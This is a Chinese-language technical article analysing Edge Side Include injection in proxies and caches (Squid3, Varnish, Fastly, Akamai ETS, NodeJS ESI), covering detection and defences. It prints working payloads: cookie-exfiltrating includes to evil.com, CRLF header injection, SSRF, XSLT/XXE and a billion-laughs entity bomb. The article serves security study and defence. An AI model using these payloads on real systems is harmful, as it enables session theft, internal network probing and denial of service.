浅析Edge Side Include注入(下)
字数 2060 2025-08-26 22:11:56

Edge Side Include (ESI) 注入深度分析

1. ESI 注入概述

Edge Side Include (ESI) 注入是一种新型攻击向量,源于代理服务器对ESI功能的滥用。当代理服务器盲目解析用户输入时,可能导致多种安全风险,包括:

  • Cookie窃取
  • 服务器端请求伪造(SSRF)
  • 绕过XSS Filter保护机制
  • HTTP响应拆分(HRS)
  • 拒绝服务攻击(DoS)

2. ESI 功能支持矩阵

不同ESI实现支持的功能存在差异:

功能/产品 Includes Vars Cookie访问 上游标头要求 主机白名单
Squid3
Varnish 文档撰写中
Fastly
Akamai ETS
NodeJS ESI 可选

3. 各产品ESI实现细节

3.1 Squid3

  • 漏洞:存在两个NULL指针解引用漏洞(CVE-2018-1000024和CVE-2018-1000027)
  • Cookie窃取:必须一次性提取所有Cookie
    <esi:include src="http://evil.com/$(HTTP_COOKIE)"/>
    

3.2 Varnish Cache

  • 安全特性

    • 仅执行来自上游服务器且符合VCL规范的ESI语句
    • 默认仅当响应体第一个非零字符为<时才解析ESI
    • 可通过ESI_DISABLE_XML_CHECK关闭此检查
  • CRLF注入

    <esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
    

3.3 Fastly

  • 与Varnish高度相似
  • 无需指定代理服务器标头即可解析ESI include
  • 不受CRLF注入影响

3.4 Akamai ESI Test Server (ETS)

  • 特殊功能

    • 支持特定Cookie名称提取
      <esi:include src="http://evil.com/$(HTTP_COOKIE{'JSESSIONID'})"/>
      
    • 调试模块:<esi:debug/>
    • XSLT转换支持(可能导致XXE攻击)
      <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
      
  • 十亿笑攻击

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ELEMENT lolz (#PCDATA)>
      <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!-- 更多递归实体定义 -->
    ]>
    <lolz>&lol9;</lolz>
    

3.5 NodeJS ESI

  • 通用payload
    <esi:include src="http://evil.com/$(HTTP_COOKIE)"/>
    
  • nodesi模块实现了白名单机制

4. ESI注入检测方法

  1. 检查HTTP标头

    • 查找Surrogate-Control: content="ESI/1.0"标头
    • 注意:许多代理服务器会移除此标头
  2. 测试方法

    • 尝试各种ESI payload并观察响应
    • 测试SSRF、Cookie泄露等场景
    • 注意白名单限制可能导致测试失败

5. 防御措施

  1. 输入清理

    • 采用与防御XSS类似的输入验证和清理策略
    • 对所有用户提供的数据进行严格过滤
  2. 白名单策略

    • 实施主机和域名白名单
    • 限制ESI include只能访问可信源
  3. 配置安全

    • 禁用不必要的ESI功能
    • 对于Varnish,避免使用ESI_DISABLE_XML_CHECK
    • 保持ESI实现组件的最新版本
  4. 安全通知

    • 供应商应明确告知用户启用ESI的风险
    • 文档中应包含安全配置指南

6. 攻击场景总结

攻击类型 示例payload 影响
Cookie窃取 <esi:include src="http://evil.com/$(HTTP_COOKIE)"/> 会话劫持
SSRF <esi:include src="http://internal-server/admin"/> 内部网络探测
XSS绕过 <esi:vars>$(QUERY_STRING{'param'})</esi:vars> 绕过传统XSS防护
HRS 包含CRLF的include 响应拆分攻击
DoS 十亿笑攻击payload 服务不可用

7. 研究时间线

  • 2017年:联系Akamai安全团队请求测试环境
  • 2018年:
    • 发现Squid3的两个漏洞(CVE-2018-1000024和CVE-2018-1000027)
    • 发布完整研究成果

8. 总结

ESI注入是一种被广泛忽视的攻击向量,影响多种代理服务器和缓存系统。由于ESI规范最初未考虑安全问题,开发人员必须自行实施防护措施。通过理解不同ESI实现的特性、攻击方法和防御策略,可以更好地保护系统免受此类攻击。

Edge Side Include (ESI) 注入深度分析 1. ESI 注入概述 Edge Side Include (ESI) 注入是一种新型攻击向量,源于代理服务器对ESI功能的滥用。当代理服务器盲目解析用户输入时,可能导致多种安全风险,包括: Cookie窃取 服务器端请求伪造(SSRF) 绕过XSS Filter保护机制 HTTP响应拆分(HRS) 拒绝服务攻击(DoS) 2. ESI 功能支持矩阵 不同ESI实现支持的功能存在差异: | 功能/产品 | Includes | Vars | Cookie访问 | 上游标头要求 | 主机白名单 | |-----------|----------|------|------------|--------------|------------| | Squid3 | ✓ | ✗ | ✓ | ✗ | ✗ | | Varnish | ✓ | ✗ | 文档撰写中 | ✓ | ✓ | | Fastly | ✓ | ✗ | ✓ | ✗ | ✓ | | Akamai ETS| ✓ | ✓ | ✓ | ✗ | ✓ | | NodeJS ESI| ✓ | ✓ | ✓ | ✗ | 可选 | 3. 各产品ESI实现细节 3.1 Squid3 漏洞 :存在两个NULL指针解引用漏洞(CVE-2018-1000024和CVE-2018-1000027) Cookie窃取 :必须一次性提取所有Cookie 3.2 Varnish Cache 安全特性 : 仅执行来自上游服务器且符合VCL规范的ESI语句 默认仅当响应体第一个非零字符为 < 时才解析ESI 可通过 ESI_DISABLE_XML_CHECK 关闭此检查 CRLF注入 : 3.3 Fastly 与Varnish高度相似 无需指定代理服务器标头即可解析ESI include 不受CRLF注入影响 3.4 Akamai ESI Test Server (ETS) 特殊功能 : 支持特定Cookie名称提取 调试模块: <esi:debug/> XSLT转换支持(可能导致XXE攻击) 十亿笑攻击 : 3.5 NodeJS ESI 通用payload : nodesi模块实现了白名单机制 4. ESI注入检测方法 检查HTTP标头 : 查找 Surrogate-Control: content="ESI/1.0" 标头 注意:许多代理服务器会移除此标头 测试方法 : 尝试各种ESI payload并观察响应 测试SSRF、Cookie泄露等场景 注意白名单限制可能导致测试失败 5. 防御措施 输入清理 : 采用与防御XSS类似的输入验证和清理策略 对所有用户提供的数据进行严格过滤 白名单策略 : 实施主机和域名白名单 限制ESI include只能访问可信源 配置安全 : 禁用不必要的ESI功能 对于Varnish,避免使用 ESI_DISABLE_XML_CHECK 保持ESI实现组件的最新版本 安全通知 : 供应商应明确告知用户启用ESI的风险 文档中应包含安全配置指南 6. 攻击场景总结 | 攻击类型 | 示例payload | 影响 | |---------|------------|------| | Cookie窃取 | <esi:include src="http://evil.com/$(HTTP_COOKIE)"/> | 会话劫持 | | SSRF | <esi:include src="http://internal-server/admin"/> | 内部网络探测 | | XSS绕过 | <esi:vars>$(QUERY_STRING{'param'})</esi:vars> | 绕过传统XSS防护 | | HRS | 包含CRLF的include | 响应拆分攻击 | | DoS | 十亿笑攻击payload | 服务不可用 | 7. 研究时间线 2017年:联系Akamai安全团队请求测试环境 2018年: 发现Squid3的两个漏洞(CVE-2018-1000024和CVE-2018-1000027) 发布完整研究成果 8. 总结 ESI注入是一种被广泛忽视的攻击向量,影响多种代理服务器和缓存系统。由于ESI规范最初未考虑安全问题,开发人员必须自行实施防护措施。通过理解不同ESI实现的特性、攻击方法和防御策略,可以更好地保护系统免受此类攻击。